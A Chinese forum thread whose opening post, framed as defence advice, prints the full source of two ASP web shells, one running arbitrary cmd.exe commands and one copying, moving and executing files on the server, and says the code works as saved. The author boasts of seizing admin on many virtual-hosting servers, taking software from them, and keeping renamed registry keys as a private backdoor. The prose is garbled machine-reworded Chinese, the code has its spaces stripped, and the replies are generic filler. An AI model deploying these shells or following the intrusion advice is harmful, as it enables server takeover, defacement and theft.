再见西城 发表于 2015-1-16 22:19:23

ASP网站制作之两种对照典范的ASP木马提防办法

由于ASP提供的是一对多的服务,所以用户的一些特殊需求很难得到满足。对照|木马  跟着ASP手艺的开展,收集上基于ASP手艺开辟的网站愈来愈多,对ASP手艺的撑持能够说已是windows体系IIS服务器的一项基础功效。可是基于ASP手艺的木马后门,也愈来愈多,并且功效也愈来愈壮大。因为ASP它自己是服务器供应的一贡服务功效,以是这类ASP剧本的木马后门,不会被杀毒软件查杀。被黑客们称为“永久不会被查杀的后门”。因为其高度的潜伏性和难查杀性,对网站的平安形成了严峻的威逼。因而针对ASP木马的提防和扫除,为我们的网管职员提出了更高的手艺请求。上面我分离团体的履历,谈一下对两款对照典范的ASP木马的提防办法,但愿对人人可以有所匡助。
  以下是第一款木马的代码:
<title>ASPShell</title>
<%@Language=VBScript%>
<%
DimoScript
DimoScriptNet
DimoFileSys,oFile
DimszCMD,szTempFile
OnErrorResumeNext
--createtheCOMobjectsthatwewillbeusing--
SetoScript=Server.CreateObject("WSCRIPT.SHELL")
SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")
SetoFileSys=Server.CreateObject("Scripting.FileSystemObject")
--checkforacommandthatwehaveposted--
szCMD=Request.Form(".CMD")
If(szCMD<>"")Then
--Useapoormanspipe...atempfile--
szTempFile="C:"&oFileSys.GetTempName()
CalloScript.Run("cmd.exe/c"&szCMD&">"&szTempFile,0,True)
SetoFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
EndIf
%>
<HTML>
<BODY>
<FORMaction="<%=Request.ServerVariables("URL")%>"method="POST">
<inputtype=textname=".CMD"size=45value="<%=szCMD%>">
<inputtype=submitvalue="实行命令">
</FORM>
<PRE><%
If(IsObject(oFile))Then
--Readtheoutputfromourcommandandremovethetempfile--
OnErrorResumeNext
Response.WriteServer.HTMLEncode(oFile.ReadAll)
oFile.Close
CalloFileSys.DeleteFile(szTempFile,True)
EndIf
%>
</BODY>
</HTML>
  在命令行里输出DIR命令点实行就能够检察目次了!!它可使用各类DOS命令,如:copy、net、netstat等。
  可是它的默许实行权限只要GUEST,也就是IUSR_COMPUTER用户的实行权限。固然假如你把IUSR_COMPUTER用户到场办理员组,那末你就有办理员权限了。这一款木马的特性是,利用很便利。几近就想当于DOS命令行窗口xx作一样。可是假如服务器限定了FSO(无组件上传),那末它是没有举措利用了。另有就是在服务器今后增添的假造主机里也没有举措利用。只能在“默许Web站点”里利用,以是它绝对的合用局限较窄。
  关于提防办法让我们看一下它的代码就晓得了:
SetoScript=Server.CreateObject("WSCRIPT.SHELL")"创建了一个名为oScript的WSCRIPT.SHELL工具,用于命令的实行"
SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")
SetoFileSys=Server.CreateObject("Scripting.FileSystemObject") 
  下面三行代码创立了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个工具,我们只需在注册表中把把持WSCRIPT.SHELL工具的项更名或删除就能够了。以下图:值得注重的是:我们应当把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要更名或删除。由于如我们只修正“WSCRIPT.SHELL”项的话。那末黑客们只需把代码修正以下:SetoScript=Server.CreateObject("WSCRIPT.SHELL.1")这个后门木马就又能够实行了。
 人人大概已想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”更名时,必定要不简单被黑客们猜到,由于比方:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只需把代码响应的改成:SetoScript=Server.CreateObject("WSCRIPT.SHELL888"),木马程序就又能够实行了。另有就修正了注册表今后要重起WEB服务,设置才会无效。
  接上去让我们再来看下一款ASP后门木马程序的代码:
<%response.write"<fontsize=6color=red>一次只能实行一个xx作</font>"%>
<%response.writenow()%><BR>程序地点的物理路径:
<%response.writerequest.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>aspsshell.applicationbackdoor</title>
<body>
<formaction="<%=Request.ServerVariables("URL")%>"method="POST">
<inputtype=textname=textvalue="<%=szCMD%>">输出要扫瞄的目次<br>
<inputtype=textname=text1value="<%=szCMD1%>">
copy
<inputtype=textname=text2value="<%=szCMD2%>"><br>
<inputtype=textname=text3value="<%=szCMD3%>">
move
<inputtype=textname=text4value="<%=szCMD4%>"><br>
路径:<inputtype=textname=text5value="<%=szCMD5%>">
程序:<inputtype=textname=text6value="<%=szCMD6%>"><br>
<inputtype=submitname=sbvalue=发送死令>
</form>
</body>
</html>
<%
szCMD=Request.Form("text")目次扫瞄
if(szCMD<>"")then
setshell=server.createobject("shell.application")创建shell工具
setfod1=shell.namespace(szcmd)
setfoditems=fod1.items
foreachcoinfoditems
response.write"<fontcolor=red>"&co.path&"-----"&co.size&"</font><br>"
next
endif
%>
<%
szCMD1=Request.Form("text1")目次拷贝,不克不及举行文件拷贝
szCMD2=Request.Form("text2")
ifszcmd1<>""andszcmd2<>""then
setshell1=server.createobject("shell.application")创建shell工具
setfod1=shell1.namespace(szcmd2)
fori=len(szcmd1)to1step-1
ifmid(szcmd1,i,1)=""then
path=left(szcmd1,i-1)
exitfor
endif
next
iflen(path)=2thenpath=path&""
path2=right(szcmd1,len(szcmd1)-i)
setfod2=shell1.namespace(path)
setfoditem=fod2.parsename(path2)
fod1.copyherefoditem
response.write"commandcompletedsuccess!"
endif
%>
<%
szCMD3=Request.Form("text3")目次挪动
szCMD4=Request.Form("text4")
ifszcmd3<>""andszcmd4<>""then
setshell2=server.createobject("shell.application")创建shell工具
setfod1=shell2.namespace(szcmd4)fori=len(szcmd3)to1step-1
ifmid(szcmd3,i,1)=""then
path=left(szcmd3,i-1)
exitfor
endif
nextiflen(path)=2thenpath=path&""
path2=right(szcmd3,len(szcmd3)-i)
setfod2=shell2.namespace(path)
setfoditem=fod2.parsename(path2)
fod1.moveherefoditem
response.write"commandcompletedsuccess!"
endif
%>
<%
szCMD5=Request.Form("text5")实行程序要指定路径
szCMD6=Request.Form("text6")
ifszcmd5<>""andszcmd6<>""then
setshell3=server.createobject("shell.application")创建shell工具
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write"commandcompletedsuccess!"
endif
%>
  要检察目次,只需输出响应的目次,点发送死令就能够了。这个木马程能够完成文件的COPY、MOVE,和实行程序。但良多命令都不克不及用,比方:del、net、netstat等。这个木马程的功效随然复杂,可是用它来黑一个网站是充足了。好比,我们能够把网站的首页MOVE到别的中央,然后我们再COPY一个同名的黑客网页出来,就好了。
  最要命的是这个木马合用于任何假造主机当中,也就是说我只需是服务器中的一个假造空间的用户,我就能够传这个木即刻往,并用它来修正别的任何用户的主页。以是假如哪些供应假造空间的服务商没有打补钉的话,那真是逝世定了。
  但是在我的理论中发明,中国良多的假造空间服务商,出格是一些小型的服务商都没有打补钉。我使用这一毛病拿到了良多假造空间服务器的ADMIN,然后好意的帮他们补上毛病。固然我也失掉了我想失掉的器材――良多好的软件和代码。我如今用着的良多ASP程序就是从他们那下面偷上去,太刺耳了,应当说DOWN上去的才对。
  言回正传,我们应当如何来提防这个ASP后门木马程序呢?让我们看一下它个中的这一句代码:setshell=server.createobject("shell.application"),跟方才的办法一样,我们只需把"shell.application"项和"shell.application.1"项更名或删除就能够了。记着了,假如是更名,要改得庞大一点,不要让黑客们一下就猜到了。特地说一句,假如是你给肉鸡打补钉最好是更名,并把名字记上去,如许也就成为本人一个隐密的后门了。最初对这两款ASP木马后门,和怎样提防ASP木马后门做一下总结:第一款木马功效上壮大一些,但合用局限窄,必要FSO撑持也就是"Scripting.FileSystemObject"项的撑持。第二款木马固然功效上少一些,但它创立的是"shell.application"工具。在任何假造主机中都合用。(这一点伤害的确太年夜了,供应撑持ASP空间的办理员们,你们可得注重了!)
  实在跟据对下面两款ASP木马后门的提防,人人大概已想到了,关于ASP后门木马的提防,我们只需在注册表中把"shell.application"、"WSCRIPT.SHELL"等伤害的剧本工具(由于它们都是用于创立剧本命令通道的)举行更名或删除,也就是限定体系对“剧本SHELL”的创立,ASP木马也就成为无本之木、无米之炊,运转不起来了。
  注:以上代码复制保留为ASP文件就能够间接利用了。
ActiveServerPage技术为应用开发商提供了基于脚本的直观、快速、高效的应用开发手段,极大地提高了开发的效果。在讨论ASP的安全性问题之前,让我们来看看ASP是怎么工作的。

老尸 发表于 2015-1-19 08:41:23

掌握asp的特性而且一定要知道为什么。

灵魂腐蚀 发表于 2015-1-28 05:49:14

学习是为了用的,是为了让你的程序产生价值,把握住这个原则会比较轻松点。除此之外,课外时间一定要多参加一些社会实践活动,来锻炼自己的能力。

爱飞 发表于 2015-2-5 17:59:16

以上是语言本身的弱点,在功能方面ASP同样存在问题,第一是功能太弱,一些底层操作只能通过组件来完成,在这点上是远远比不上PHP/JSP,其次就是缺乏完善的纠错/调试功能,这点上ASP/PHP/JSP差不多。

admin 发表于 2015-2-13 05:13:00

代码的可重用性差:由于是面向结构的编程方式,并且混合html,所以可能页面原型修改一点,整个程序都需要修改,更别提代码重用了。

深爱那片海 发表于 2015-3-3 15:24:42

尽管MS自己讲C#内核中更多的象VC,但实际上我还是认为它和Java更象一些吧。首先它是面向对象的编程语言,而不是一种脚本,所以它具有面向对象编程语言的一切特性,比如封装性、继承性、多态性等等,这就解决了刚才谈到的ASP的那些弱点。

简单生活 发表于 2015-3-11 11:55:25

交流是必要的,不管是生活还是学习我们都要试着去交流,通过交流我们可以学到很多我们自己本身所没有的知识,可以分享别人的经验甚至经历。

海妖 发表于 2015-3-18 15:48:14

不是很难但是英文要有一点基础网上的教程很少有系统的详细的去买书吧,另不用专门学习vb关于vbscript脚本在asp教材都有介绍

若相依 发表于 2015-3-26 11:47:23

Session:这个存储跟客户端会话过程的数据,默认20分钟失效
页: [1]
查看完整版本: ASP网站制作之两种对照典范的ASP木马提防办法